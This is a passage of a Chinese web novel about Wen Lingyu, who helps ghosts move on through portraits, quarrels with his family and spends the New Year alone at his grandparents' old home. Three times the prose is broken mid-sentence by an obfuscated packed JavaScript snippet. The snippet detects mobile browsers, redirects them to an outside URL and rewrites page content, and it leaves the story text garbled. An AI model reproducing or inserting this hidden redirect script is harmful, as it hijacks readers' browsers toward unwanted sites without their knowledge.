温令羽不出半个小时就把画拿来了，他气喘吁吁地把画递给阿辛，他时间着急不跑的话，赶不上温昕的下课时间。 “赶紧看吧，我马上要走了。我妹要下课了。”温令羽将画摊开。 小区里不知道什么时候人多了起来，温令羽这个动作吸引了不少人，纷纷围上来看素描人像，还有人猜测温令羽是画画的。 特意来小区里打广告。 “你这话画得不错，可以给我画一张吗？” “但这个不像你啊？” “小区不让摆摊的，可以去梧院公园里。” 小区里的一言一语地说，温令羽被包围在人群里，温老和阿辛都见不着了。 温令羽着急地寻找，刚扒拉开人想出来，手里的画一把被人拿走了，“这是我的小辛啊！” 此话一处，全场安静了下来。 说话的正是阿辛的母亲，也是在龙青山遇到的那位，只不过她手里牵着小儿子。 阿姨也认出来了，指着温令羽说道：“你是那天在龙青山遇到的小伙子，我还和你说我儿子的事。” 说着，阿姨一把拉住了温令羽，“你认识他是不是？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947919|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画上的正是阿辛死前最后的样子，温令羽忽然想到了什么，视线急忙去找阿辛和温老。 他们正在不远处用鼓励的目光看着温令羽，阿辛还对他摆了摆手，那是告别的手势。 温令羽心里不能接受这个结果，他拼命地摇头，无声地拒绝。他推开阿姨的手想去找他们问个清楚，走两步就被一前一后两道声音叫住了。 “你为什么有他的画像？” “我想试验一下，看看画行不行。” 温令羽僵硬地回头，断断续续地回答阿姨：“我和阿辛是好朋友，这是我找人画的。” “他还在怪我，这么多年都没来我的梦里。”阿姨哽咽地说。 温令羽拍了拍阿姨的肩膀，他安慰道：“阿辛他已经不怪了，现在他有了新的好朋友，过得很好很有价值。” 阿姨抓着那幅画不松手，“我终于又见到我的孩子了。这幅画可以给我吗？” “好。”温令羽无神地看阿辛的身影淡去，直至全部消失。 这些日子，温令羽看过的鬼魂消散太多了，最开始见到温大爷离开得震撼，早就慢慢消散了。 重新找回了这些感觉，就如现在。 耳边是阿姨热情地招呼温令羽去他家，眼前是并肩作战的“战友”离开的画面。 什么都听不见了。 温令羽是被电话铃声叫醒的，十分钟前温昕已经下课了，结果迟迟没见到人才打来的电话。 “我下课了，你到哪里了。” “我等下就来。” 温令羽先回复温昕，然后间接推脱了阿姨的邀请，“我妹妹在补习班上课，我现在要去接她了。” 阿姨请了这么久，不勉强温令羽，但对于阿辛的朋友她很乐意招待，“下回再来家里坐坐。” 话落，带着画走掉了。 温老张了张嘴想解释，温令羽头也不回地上车，拒绝和温老交流。 温老急忙地跟了上来，“你生气了？” 温令羽冷哼一声，反问了回去：“你觉得我不应该生气吗？你们两个都瞒着我，为什么？” “画像是我无意中发现的，这就可以让人与鬼相见。但是我并不能确定可行性，必须要有试验品。”温老解释了这些天外出的用意。 温令羽不能理解，“所以先骗我，让我把画拿过来，糊里糊涂地就把阿辛送走了。” 温老眼看温令羽不开窍，气不打一处来，说道：“难道你要一直困着阿辛不成？他走后会有更光明的未来，再也不用受到拘束和限制了。” “我没有这么想。阿辛选择离开，我绝对尽心尽力地帮他。”温令羽接受不了被蒙在鼓里。 温老语气缓了下来，眼下最重要的是将画像画出来，留给他们的时间不多了，“你能这么想我就放心了。现在时间很紧迫，你需要赶紧把那些像画出来。” 这一趟回来，温老像是变了一个人，脑子里心里全在想任务。 以前那位每天追着剧，在交流所店铺里待不了一个小时的，好像在这些天里消失了。 72.内有乾坤 好在，温令羽最近都不住在家，减少了见面的次数，不然他们之间的矛盾早晚会出来，吵一架是在所难免的。 温令羽静静地想那天发生的事，庆幸的情绪占据在上风，他清楚地知道自己没有十足的把握。 突然，门被敲响。 这个时候还会有谁来找他？ 温令羽起身去开门，是住家阿姨，方便给晚归的温昕做夜宵请回来的。 “温少爷，我想请个假回家。” 温令羽被这话弄得满头雾水，管家的权利不在他身上，“你不应该来问我。” 阿姨是问过继母后，才来找温令羽的，“我问了夫人，她说小姐和少爷同意就可以。” 既然话说到这个份上，温令羽当然是不会去当这个恶人的，所以他也没问过原因，直接就答应放假了。 就因为这个不严谨的决定，温令羽是被手机闹铃吵醒的。 前几个铃声没有听见，等温令羽看到的时候，温父已经往他的手机上打了十几个了。 温令羽接了起来，脑子迟钝，刚从睡梦中醒过来，问道：“怎么了？” “你还好意思睡觉？你妹妹都快在补习机构饿昏了。”温父恨不得冲到温令羽面前教训他。 这锅从天上来，温令羽不敢置信，证实过温昕到现在还没吃的事实，不敢再耽搁下去，买了吃的就去了补习班。 趁着下课几分钟，把吃的东西给温昕，“今早阿姨没给你煮饭吗？” “阿姨放假了，爸妈今早飞机回姥姥家，你房间又锁门。”一大早温昕是叫天天不应，叫地地不灵，家里谁都靠不住，偏偏她还不能迟到。 温令羽刚知道温父和继母不在家，看来他不能老是待自己房间里，这个家发生什么都成了最后一个知道的。 给温昕送完东西，距离下课还有两个小时，温令羽问道：“下课之后会有人接你吗？” “司机叔叔会来接我的。”温昕说道。 温令羽边走边想回去之后他们两个的伙食，想得太着迷以至于忽略了眼前的人。 擦身而过的瞬间，宋时盛无奈地说：“你眼睛长在地上的，我这么大的人站在你面前都看不见？” “我刚刚想事情，没注意到。”温令羽不意外能在这里看到宋时盛，他弟和温昕曾经是同学，报班也在一块。 宋时盛这次来却是为了另一个人，“你还记得温寻吧？她也在这里补习，温远叔让我弟平时照顾一下她。” “那你急冲冲过来，该不会是出事了吧？”温令羽的心一下子揪了起来，温寻是被他揪出来的。 不过下一会儿，宋时盛让温令羽放下心了，“上课不能出事。我就是来接她下课的，她报的班不用上到最后一节，就一起带回去了。” 温远在年末工作忙，空不出手来安排温寻的学习生活，恰好他记得宋家最小的儿子刚上初中，便来问问。 反正，他们的合作刚刚结束，任凭谁都不会随便当面拂合作对象的面子。 结果确实如他所料，宋父宋母一口就答应下来，但这执行的任务就这么华丽丽地落在宋时盛头上了。 他们两个正说着话，温寻走了出来，她没跟上老师讲课的进度，借着上厕所从教室里出来了。 两方就这么华丽丽地撞上了。 “我……”第一次有了逃课的心思，然后被扼杀在了摇篮里。 宋时盛用眼神示意让温令羽看里面，说道：“这个老师是温远叔花大价钱请的，专门在这里开一个小班。” 温令羽想起了温昕说过的话，想必她口中的老师就是他，要真是继母过来，是绝对会把她插班进去。 班里多好的氛围，挑选过的尖子生，高薪聘请来的老师，种种都是理由。 “你妹妹没在吗？需要帮忙吗？”宋时盛没在这里看到温昕，觉得奇怪。 温令羽没有一口回绝，“好啊，到时候需要的话再找你。” “你还真的一点不让自己吃亏。”宋时盛精准吐槽。 温令羽把车停在了停车场，走出电梯门，才注意到家里面有声音，开始警惕起来。 家里不应该有人在。 紧接着，温令羽就看到继母面色铁青坐在客厅里，有一种不好的预感，“阿姨你回来了？” 继母突然将杯子砸在地上。 “作为后妈，我自认没有做虐待你欺负你的事。可你为什么要这么对待小昕！老师说她整整一天没吃了。” 温令羽哑声，他不知道该怎么回复，确实是他没有问清楚，阿姨竟然当夜就走了。 正是这种“无话可说”，在继母眼中成了心虚，她继续说：“公司的危机结束之后，是我劝你爸爸，不然你以为你爸会让你继续待在项目组？” 项目组分到他手上的活越来越少，温令羽有过猜测，但还是选择相信，毕竟过河拆桥的事做多了不好。 “所以呢？那你想怎么样？”温令羽语气平静，他懒得和继母吵架。 至于这次阿姨的事，用脚趾头想想，都知道里面有继母的手笔。 继母起身把大门打开，期间没说一句话，意思全在行动里了。 温令羽上楼把自己的行李箱整理好，还好他刚来没两天，里面的衣服都没有动过，收拾起来很快。 三两下就弄好了，下楼开车回家。 电话响了，温令羽用车载蓝牙接通，“喂。” “阿羽，我刚刚和你爸通过电话了，先过来吧。”令美珑料到此事没这么简单，背后肯定大有文章。 温令羽不想到处奔波，“不用了，我在自己家里就行。” 这么说，令美珑清楚了，温令羽根本没明白的话外之音，“你爸现在把你踢出公司，就是给他女儿让路你知道吗？” “可能吧，我也不想进公司。”温令羽当时回去帮忙，他不能眼睁睁看着公司倒闭，大学期间的生活费全在那上面。 温令羽还是十分清楚，他现在过得这么悠闲，全靠这些。 令美珑是不想把自己的东西让给别人的，她愤怒道：“你一点都不像我，像你那个无能的老爸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温令羽不打算回避自己的情绪，他确实是在躲，不过他不是故意不回家，解释道：“过年前我搬回去了，不是为了躲你才走的，你搞清楚前因后果。” “那先不说这个。我们聊一聊交流所任务的事情，你知道上一任鬼小馆老板怎么死的吗？” 上一任老板的死因，温令羽没有听葛大哥说过，他摇了摇头表示不知情。 温老嘴里嚷嚷着“果然是这样”，着急地四处走动，把温令羽搞紧张起来。 “上一任老板同样有三个帮手，和你一模一样。酒保掌握鬼小馆资料，负责全部工作；晋叔管理档案馆，负责人员登记管理；还有一位的工作就是寻找合适的任务对象。” 这就可以解释为什么晋叔一来就可以这么轻易上手处理，原来他知道工作内容。 “那又怎么样？”单单说了这，温令羽无法理解到他的意思。 “说明你可能会走他的老路。上一任老板是因为任务率太低被抹杀了，就在你获得能力的那天。” 不然，一位在任何方面都得到上苍优待的人，为什么会活不到寿终正寝？ 而与他交好的晋叔在他死后就走了，明明最得老板重用，死后更应该留下，却十分意外的选择离开。 一切的一切都是谜题，但被合理忽略了。 73.要向前看 “我招谁惹谁了？一点好处捞不到，坏事全赖我身上了。”温令羽非常希望能有一台时光机，可以穿越到过去，给曾经盲目的自己一巴掌。 如此草率就答应。 温老都有点儿同情面前这个小家伙了，虽然生活比以前顺遂一点，但跟遇到的挫折比起来，根本不值得一提。 温令羽他骑虎难下，灾难和希望不知道哪个会先一步到来。 这么想着，温令羽仿佛一瞬间失去了所有的力气，瘫倒在沙发上，绝望地闭上双眼，任命地选择接受所有的安排。 看着温令羽这副样子，温老的心里也不好受，但凡他知道这件事的后果，是绝对不会同意温令羽走上这条路的。 只不过事已至此，只能向前看。 “你也要往好的方面去想，现在你任务完成得多而且找到了画像这样的方法。”温老自从知道画像可行，更加相信“天无绝人之路”这话，对这件事也乐观起来。 温令羽的担心一点都没有消失，反而因为知道了这些，压力越变越大。 生怕一不小心他就成了孤魂野鬼了，心里很乱。 为了防止温老再问他，他选择让温老闭嘴，主动问温老走后的生活：“那你呢？走了这么多天，不坦白一下你去做了什么吗？” 温令羽早就做好了温老隐瞒不说的准备，这也是他希望的走向，巴不得温老转移话题，能少说几句。 事情如他所料的那样，温老是那老一套的说辞，“我能做什么，就在外面到处逛一逛。正因为我逛了逛才找到了第三关键人物，不然我们都还被蒙在鼓子里。” “那你为什么要提到去龙青山？那里有什么吗？”温令羽装作不经意回忆到这些，觉得奇怪才问的。 这个问题却“难倒了”温老，说不出个所以然。 温令羽见状，心下觉得糟了，问得太为难鬼了，也不知道温老会不会为了转移话题又把事情绕回去。 好在，温老被“组合拳”打懵了，说：“龙青山有大师坐镇，像我们这种玄幻的事肯定要找他。” 温老刚说完话，就借口让温令羽好好休息，自己去鬼小馆不打扰他了。 跑得很快。 对此，温令羽喜闻乐见，也就没有叫住他，随他去了。 等到家里只剩下他一个人，温令羽深深叹了一口气，此刻的他觉得好累。 温令羽刚眯下没几分钟，房门被砸得哐哐响，可见来的人连按门铃的耐心都没有了，试图用砸门的大动静叫醒里面的人。 不得不说，这一招确实有用。 温令羽没耐心看监控了，直接一把拉开了门。 宋时盛带着他弟弟站在门外，宋时盛还维持着敲门的动作，甚至被突然打开的门吓了一跳。 “你在家就好了。”宋时盛悬着的心放了下来，先开口道。 温令羽整个人还是懵的，宋时盛弟弟看出来了，解释道：“小昕给我打了电话，说你离家出走找不到了，我就拉着我哥来找你。” 原本宋时盛过去温令羽家前，是一点都不担心的，毕竟温令羽能去的地方就这么两个。 不在温家，肯定就在自己家。 就在他照例打了个电话给令美珑，想问问她知不知道情况，就被告知温令羽和令美珑也吵架了。 事情发展到最糟糕的阶段，宋时盛也是不敢再耽搁了，直接砸门来的。 可能是令美珑走得决绝，温令羽一般都是小心翼翼地对待她，几乎没有忤逆吵架的时候。 对令美珑，温令羽是讨好、是依赖。 温令羽强撑精气神，想让宋时盛能放心，说道：“好了，你现在找到我了。我没事的，你们走吧。” 面色如常，语气也平静，哪哪都好，唯独不像温令羽的样子。 都知道，这是他特意伪装出来的，尽管知道也都没辙。 “不然，我们今年再去榆林镇……”宋时盛没过脑子直接说了，完全忘记了今年宋父宋母都在家，他根本没法走开。 说着说着，这话就没了下文。 两人认识这么多年，温令羽看出了宋时盛为难的表情，他主动拒绝了。 他能想到宋时盛的话戛然而止的理由，早些天温父说过要去宋家拜访，意味着今年宋时盛一家都在。 宋时盛已经好多年都是一个人，终于等到可以团聚过个好年了，他当然不能不在场。 送走了宋氏两兄弟，温令羽的睡意也消失了，望着空空荡荡的屋子，没来由的特别想家。 有关爱和温暖的家，而不是房子。 温令羽下意识打开手机软件订票，选的是最近的班次，收拾了行李直接坐上了火车，熬过了一路的颠簸，来到了老家，他曾经生活过的好多年的家。 推开爷爷奶奶的房间，正对的是他们的照片。 相框里的照片上是两个人，黑白照。 温令羽伸手触碰，摸到的是一手指灰尘。 很久都没有人擦拭过了，才会积这么多灰。 爷爷去世之后，这个房间就被彻底关闭了，不是特意只不过是没人会记得来，连他都忘了上一次来是个什么情形了。 温令羽找了张纸巾，把相框擦干净了，顺手要把它放在原来的位置，一下子醒悟过来，停下了动作。 手里拿着相框，客厅的墙壁上有一颗钉子，把相框重新挂在了上面。 照片正对着大门。 村子里的每一家都是这么放置的，习俗如此，爷爷奶奶刚走那年也是这样的。 过了段时间，温父和继母住了几天，却觉得放在那里太吓人，把它挪到了爷爷奶奶原本的房间。 为此温令羽还和他们吵过，没拧过一家之主。 其实照片上的爷爷是带着笑的，比生前的爷爷更加亲切，不吓人。 老家热闹起来，就要除夕之后了，时间还长不如让照片在客厅待一会儿。 已经在老家的温令羽不知道，在家里没见到他的温老要急疯了，他特意过了一晚上才回去，结果一看，原本待在家的人没有了。 急得他到处找鬼问有没有看到温令羽，好在有人见到了他，告诉了他消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967785|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 而温令羽正困得在呼呼大睡。 这一觉就睡到了下午，温令羽饿得不行，打算外出买点吃的。 村子的小卖铺还在老地方，他是最早在村子建房的一批，现在是最靠近旧房子的一户人家。 温令羽买好泡面往回走，背后有人叫了他的名字，“温令羽。” 温令羽回头，竟然是许久没见的周蔓，他听阿辛说过周蔓搬家了，没想到还能在这里遇见。 “你不是搬家了吗？” “是啊。但过年我会来看叔叔阿姨，这不，我刚放假就来了。”周蔓笑着说。 温令羽和周蔓结伴往外走，两人相互谈了谈近期的生活，答案无非就是那些“挺好的”。 一路聊到公交站，温令羽陪周蔓等车过来，送她安全上车再离开。 周蔓先是沉默了一会，才缓缓开口说道：“她刚走的那段时间，脑子恍惚时，我特别想来找你。” “害怕之前那一段生活是假的？”温令羽猜测道。 周蔓点了点头，释怀地笑道：“不过我答应过她要好好生活，不能再往回看了。” 温令羽目送周蔓离开，慢悠悠地走回自己的家。 不过周蔓的到来，提醒了温令羽时间，再过几天就要过年了。 既然打算在老家过年，自然是要打扮一下，给自己也是给爷爷奶奶看，现在的家很好。 于是，温令羽第二天就去县城采买了过年的东西，连鞭炮都买了。 现在县城里禁放烟花爆竹，好几家店都倒闭做其他生意，温令羽差点还没找到店铺。 这是他第一次完完全全一个人过年，年夜饭都要自己做，不能再点外卖随便应付几口了。 而且温老和阿辛都不在，完全意义上的单独，在团圆的日子里独自庆祝节日。 准备好了这些，隔天就是除夕夜了。 温令羽看着自己布置好的房子，特别满意，前段时间的糟糕情绪随着这些烟消云散了。 就在温令羽欣赏自己的杰作时，就有人过来打扰。 “你不在家？”温父厉声质问。 前些天不来找，到了这几天才来，温令羽并不觉得他的父爱泛滥，把手机放在茶几上，懒得去回复。 双方都沉默了几分钟，温父也冷静下来，“之前是我和阿姨考虑不周，回去过年吧。” 温令羽听见了，依旧不想回。 此刻他觉得一个人待着也不错，不一定非要有个人陪着一块。 温父以为温令羽还在气头上，边给自己找补，无意中又透露了自己的用意，“补习班老师给我们打电话，就快指着鼻子骂我们当父母的失职，我们当然很生气。年后还要去宋家拜访，你快点回来。” 既然说到了这里，温令羽终是拿起了手机，“我不去，现在我在老家。” “你去老家干什么？”温父要被温令羽气死了，关键时候人却不在。 温令羽听出来温父没有其他事情了，说了句“没事我就挂了”，然后也没管那边同不同意，直接断了。 74.谁的供品 除夕夜终于在连日的等待中到了，这天温令羽睡到了自然醒。 他睁开眼看到天花板，心里面默念安排在今天的计划，要制作哪些菜。 其实对于这一天他想了好多种可能。 比如在温家，和温父他们在一块因为一些小事会吵架，或者是在令美珑那里当一个安静的局外人，要不就在自己的小窝里和温老阿辛一块过。 唯独没有现在的情况，自己一个人待在老家。 计划永远赶不上变化。 但当这个变化来到的时候，未知的东西没有预想的可怕。 温令羽看了看时间，已经是下午一点了。 虽然年夜饭吃的是晚饭，但他要是还没有开始行动，估计这顿饭得改成夜宵。 因为这种急切的念头，温令羽赶在八点前做了三四道菜，锅里还煮了饺子，为了让饺子煮熟一点，就不急着盛出来。 坐在餐桌上，温令羽终于可以空出手开消息。 兄弟群里已经刷了好多消息，温令羽尝试找到最初的一条无果，自暴自弃地选择从半路加入他们的话题。 【年夜饭照片】 下面跟着配文，“是自己亲手做的。” 紧接着后面就是宋时盛晒出的大餐，“家里厨师烧的。喷子说话。” 然后就是好多图放出来。 宋时盛见缝插针地说道：“要不要出来聚一下？咱几个都不看春晚的。” 可惜，这计几句被淹没在许多的群聊消息里面，宋时盛忙自己的事去了，也没发现。 还是温令羽往上一条条翻图片的时候看见的，他踩着这条回复：“我回老家了，加入不了。” 那一条重新出现在大家眼前，大家也纷纷回复。 无一例外，除夕夜大家都有各种各样的原因不能在现实中见面，但可以在游戏中碰到。 “我家离得太远了，今天打不到车。” “我出不来，家里亲戚太多了。” “+1，在老家去不了。” “大家出不来就打游戏吧，在游戏峡谷也能相见。”立马就有人提议打游戏。 平时因为工作忙碌，大家都很久没有聚一起打过游戏，趁着过年放假立马就有人应和，“我附议，好久没一起了，手痒。” 连最大忙人宋时盛都说要来，发消息：“别啰嗦，上号。” 人一下就凑齐了，温令羽慢了一拍就没赶上，宋时盛注意到队伍里没温令羽，说道：“温令羽没来？他不来谁去送啊。” 送人头是温令羽的专利，把把游戏他能先冲进去，然后其他人就能carry。 温令羽确实是队伍里不可缺少的，意识到这点就有人说要退出让位，“我走了，你们玩。” 不过他们决定得太晚，温令羽看到没位置干脆下线放鞭炮去了，最后还是他们几个打的。 除夕结束后，温令羽又宅家了好几天，每天睡醒就晒晒太阳看别人家走亲访友。 没有具体安排，平时闲得无聊就外出逛逛自己熟悉的地方发生了哪些改变，整天无所事事。 但过年祭祖是惯例，到了这时候家里的亲戚都会过来。 温令羽才想起来，就在自家阳台看到三叔公一家的车过来。 反应过来今年祭祖的事由三叔公安排，因此到得比其他亲戚都要早。 温令羽在阳台上正在看着他们一家搬东西，温父来了消息，“今年过年我不回去了，你替我去祭祖。” “我看三叔公到了。”温令羽说道。 温父没想到三叔公一家会这么重视，他沉默了一会说道：“那你去三叔公家和他们说一声。” 先斩后奏这一招来得妙。 通完电话后，温令羽去敲隔壁的大门。 三堂叔父见到是温令羽，很欣慰地说道：“阿羽，今年你们家回来得这么早。” “我家就我回来这么早，我爸说今年不回来了。”温令羽把温父的意思转达给他们听，脸不好意思得红了。 话音刚落，三堂叔父的嘴角一下子耷拉下来，病情非常不满，直接开口让他们一家都别来了。 温令羽被这话钉在了原地，迟迟没动。 “你也回去吧。你们一家都非常忙，回去吧。”三叔公听到了对话，出来说。 既然不被允许进祠堂，温令羽乐得清闲，准备从这里待到开学再走。 温老在家里等年过了，温令羽都没回来的迹象，干脆从家找到了老家。 上一次祭祖的活动还历历在目，温令羽看着楼下的大队伍，他对温老说道：“他们要给你上供了，你不去看一看？” 温老躺在摇椅上，“我的画像被烧了，上供的东西到不了我这里。” 温令羽瞬间哑口无言，他查到的古籍资料浮现在脑海里，都摆在那里了都不知道该从何问起。 可温老这副无所谓的样子，又觉得没有必要在意。 温令羽下午吃完饭后，三叔公总算忙完祭祖的所有事从祠堂回来了，没在家里待多久又收拾完东西走了。 整个村子再一次冷清下来，就像是过年那几天的热闹都是假象。 消失得毫无痕迹。 温令羽看着客厅上爷爷奶奶的合照，想到：原来每一年我离开的时候都是这样的安静。 留两位老人在村子里，带走了所有的热闹，留下了思念和寂寞。 开工的日子早就到了，温父虽没明说辞掉他，但也没说温令羽再来上班，甚至还把他的工资给结清了。 意思摆到明面上，都不需要当面说开，而且他进公司本就没有经过程序。 又休息了好几天，临近寒假尾声，温令羽不能再待下去了。 刚到家的那天，酒保就带着份文件过来，还是特意在门口等的。 “我听老先生说你不用继承家里的公司，所以我特意过来的。”酒保解释道，甚至为了保证不错过，一早就过来等了。 温令羽把酒保请进去，想起来之前托付的事，“我之前说把辉辉从分馆接回来。” “年前事情多，最近已经接过来了。老先生在照顾。”酒保汇报关于辉辉的情况。 有温老的照顾，温令羽也放心，就问酒保来找他要说的事。 前任酒保，就是葛大哥他知道温令羽家庭条件好，便在资产这块挑选了重点去讲，实际上任老板还留了个公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972081|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，专门请了人来管。 上任老板的算盘打得很妙，只要他完成了祈愿任务，那么他自己的生意怎么做都不会烂，丝毫不需要花心思上班办事，请个人来处理就好。 酒保手上只有复印件，纸张原件已经被葛大哥交给温令羽了。 温令羽想起来了，找到被他存放在保险箱里的东西，不过页数太多，尴尬地问道：“哪一页？” 酒保把页数报出来，温令羽很快就找到了。 看清上面的名字，他不可置信地揉了揉自己的眼睛，清清楚楚写明了“致纪公司”的股份份额，还有其他公司入股资产。 只不过都没有致纪来得多。 原来致纪公司就是他自己的，只怪他当时看得不仔细，没有注意到这个名字。 “鬼小馆上一任老板就是姓纪，名字是他取的。”酒保没见过，但是老板的名字听他师父讲起过。 温令羽花了一整天的时间消化了这些内容，照着上面的联系电话拨了过去。 电话不是致纪老板的，温令羽一瞬间觉得自己是想错了。 但接通电话的声音又是那么熟悉，“是纪总的人吗？” 看来没有打错。 温令羽回复道：“不是，但我继承了纪老板的财产。” “纪总去世后，我组织搬离了公司，那现在是什么安排？”致纪老板当时走是有多番考量的，最终能决定的无非是股东老板的死。 继承人迟迟不出现，他为了致纪能好就换了个竞争力小的城市扎根。 搬来搬去耗费人力物力，温令羽并不打算兴师动众，但和负责人见一面还是有必要的，两人便约定了见面时间和地点。 当晚，温令羽送酒保回去，顺便去看一下鬼小馆内的情况。 由于过新年，馆内的店铺举办了各种活动，连吧台都有跳舞唱歌的。 温令羽去看了新住户，照例询问一下他们能否住得舒适。 他这是家，不是监狱。 良好的感受为先。 走到了辉辉那一间，温老在陪他看书，温令羽没有打扰他们，转身就打算出去。 眼神不小心看到床头的点心，熟悉的老几样，挑选的东西和摆放的样子都一模一样，不就是他们温家祭祖的风格。 但是温老的画像被烧掉了。 那么，这些供品是给谁的呢？ 难道是温老在撒谎？ 温令羽怀疑的眼神看温老和辉辉，打心底里否认温老的欺骗，为此延出了另一种猜测：可能是其他鬼魂给辉辉这个小孩的，那个鬼魂才是他的长辈。 为了搞清楚这些，温令羽下楼去问酒保他们有没有发放过吃的，以及辉辉房间的吃食是谁送的。 酒保不清楚问这些的用意，但他还是仔细回想。 “辉辉的饭菜都是老先生亲自送上去的。还有他房间里吃的喝的全是他自己的，从分馆来的那一天就有了。”酒保如实陈述。 温令羽还是想找出来，他让酒保注意一下于先生，“要是分馆的人来了，你让他留一下，我有事情要问他。” 过于相像，温令羽并不觉得是一个巧合。 一定会有关系。 75.过去现在 “听说你有事情找我？”于先生带着于苑待在分馆里，趁着过年之际特意来跟温令羽汇报情况。 一月一轮的制度在安定下来之后，就变成了半年一次，再由于先生传达整一年的情况给温令羽，方便这里了解到那边的情形。 温令羽看到于先生很惊讶，他才刚回来第二天，人家就从那边赶过来了，这效率确实快。 “辉辉的事情你还记得多少？”辉辉被分馆接走已经过了好久，只能问还记得多少。 于先生一开始还没反应过来，问道：“你在说谁？谁叫辉辉？” “是个小孩，近期从分馆转过来的。”温令羽提醒于先生，但心里也开始不自信起来，觉得于先生不一定能记住。 话音刚落，于先生就说要认真想一想，他没什么大印象得要多一点时间。 就在温令羽的期待值跌到底时，于先生突然激动起来，他站在温令羽面前疯狂比划，想说却不知道从何说起，只能不断重复“我想起来了”。 温令羽做手势让他冷静一下，说道：“那你从头开始说吧，我想知道他的全部情况。” 不过于先生记得不全面，但是辉辉是他亲自安排人接回来的，而且他当时为了扩大影响力，还大肆宣扬过接回来的事。 正式把分馆的名气打出去。 多亏了辉辉这件事。 于先生说道：“过去的时间比较久了，只记得辉辉躲在祠堂后门，我们还花了不少心力去找的，好在是把他顺利带回来了。” “他当时有什么异常反应吗？”温令羽迫切想知道现场的情况。 于先生不太确定算不算，既然要事无巨细交待，就说了：“我们最开始得到辉辉的信息，是说他任性不听话，但我们见到他的时候，他很听话地走了，一点反抗都没有。” “还怀疑过是不是找错了，一再确认过身份才放心。”于先生提起时还觉得好笑。 温令羽心里不觉得轻松，愈发沉重，辉辉绝对是遇到了大事才会改变了脾性。 他对于陌生人的态度，温令羽是见识过的。 心里藏着事情，温令羽时不时就关注楼上的情况，就连晋叔来到身边说了几句话都没发觉。 晋叔发现温令羽一点没听见，干脆站到了他面前，挡住视线。 “你在想什么？” 温令羽摇摇头，示意晋叔看问道：“老先生都像现在一样待在辉辉那里吗？” 对此，晋叔给了肯定地答复。 虽然温老一般不干活，但至少还能到处转悠几圈，现在是一颗心扑在辉辉身上，天天带着他念书看书讲道理。 晋叔这么讲，“我有一次旁观过上课现场，建议给温老开一个讲课班，陶冶情操。” “如果要学习，可以送研究所那边。”温令羽还没想到丰富生活这一块，但被这么一提醒，可以让研究所的人员出来带人。 晋叔参观过研究所的氛围，只能说不适合普通鬼魂去。 做鬼都能学出什么的，一点都不普通。 一下被温令羽转移了方向，晋叔良久才找回自己来的初衷，“根据你的要求，我找到了擅长画画的鬼，等画完了就可以临摹了。” “有画完的现稿吗？我先试试。”在画画的方面，温令羽是一点自信都没有，但是靠临摹也不知道行不行。 正当他们在商量这么提高画画水平的时候，温老和辉辉这一堂课结束，温老放辉辉回去休息了。 读书费脑，需要充足的睡眠。 见状，温令羽着急去找人，赶紧打发晋叔走，“你先去忙吧，我再想一想真不行我会去报班上课的。” 刚说完，辉辉就要上楼了，温令羽赶紧追了上去。 “辉辉，你还记得我吗？” 比起温令羽的热情，辉辉只是安静地点点头，然后沉默地等待温令羽的下文。 温令羽四周环视了一圈，他们正处在楼梯的拐角处，周围来来往往都是走动的鬼魂。 “你还记得你生前是谁吗？”温令羽边往楼上走，边问。 辉辉看了一眼温令羽，最开始的时候他确实什么都不记得了，而且他初到新地方，一点都不熟悉。 时代变迁得太快了。 但是，辉辉不知道该从哪里说起，于是又不说话了。 气氛一下子冷了下来。 温令羽见辉辉迟迟不说话，以为是对方有难言之隐，回复：“你不用有顾虑，万一我能帮到你呢？” “那等我组织一下措辞。”辉辉总算是开口了。 这是见面以来，辉辉开口的第一句。 不过温令羽倒是松了一口气，辉辉再不说话，他都要怀疑是不是有应激障碍，要请心理医生过来看看了。 虽然死不了，但是能感受到痛苦。 温令羽同意了，让辉辉自己安心回去休息，“不着急，你可以慢慢想。” 甚至为了让辉辉心无旁骛，温令羽都没去鬼小馆，却在补习机构又遇到了。 见到辉辉坐在另一件教室里，温令羽不免感慨世事难料，如此小概率事件都能发生。 “温同学，你说想最快速度学会画画技巧，那你一定要考虑冲刺班。金牌教师坐镇，最好的资源都在这里。”机构的工作人员给温令羽介绍班级里的情况。 温令羽越听越心动，这个班就是为了他量身定做的。 “就这个吧，什么时候可以开始上课？” “请问你是哪一届的考生？”工作人员照例询问了一遍。 一般进行到这个步骤，仅仅是习惯地问，不会卡在这里的，但温令羽恰恰就在这里。 